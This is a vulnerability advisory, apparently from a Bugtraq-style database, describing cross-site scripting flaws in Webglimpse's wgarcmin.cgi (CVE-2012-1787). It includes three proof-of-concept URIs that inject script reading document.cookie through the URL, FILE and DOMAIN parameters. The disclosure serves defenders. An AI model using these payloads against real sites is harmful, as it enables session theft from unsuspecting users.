Webglimpse Multiple Cross Site Scripting Vulnerabilities

Bugtraq ID:	52170
Class:	Input Validation Error
CVE:	CVE-2012-1787
Remote:	Yes
Local:	No
Published:	Feb 26 2012 12:00AM
Updated:	Mar 19 2015 07:35AM
Credit:	MustLive
Vulnerable:	WebGlimpse.org WebGlimpse 2.18.8 WebGlimpse.org WebGlimpse 2.14.1 WebGlimpse.org WebGlimpse 2.0
Not Vulnerable:

Webglimpse Multiple Cross Site Scripting Vulnerabilities

Webglimpse is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to execute arbitrary script on the affected server and steal cookie-based authentication credentials. Other attacks are also possible.

Webglimpse versions 2.18.8 and prior are affected.

Webglimpse Multiple Cross Site Scripting Vulnerabilities

An attacker can exploit these issues through a browser. To exploit a cross-site scripting issue, the attacker must entice an unsuspecting victim to follow a malicious URI.

The following example URIs are available:

http://www.example.com/wgarcmin.cgi?URL2FIL=URL+2+File+--%3E&URL=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&NEXTPAGE=T

http://www.example.com/wgarcmin.cgi?FIL2URL=%3C--+File+2+URL&FILE=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&NEXTPAGE=T

http://www.example.com/wgarcmin.cgi?DOMAIN=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&NEXTPAGE=T

Webglimpse Multiple Cross Site Scripting Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of any more recent information, please mail us at: [email protected].

Webglimpse Multiple Cross Site Scripting Vulnerabilities

References:

• Webglimpse Homepage (Webglimpse)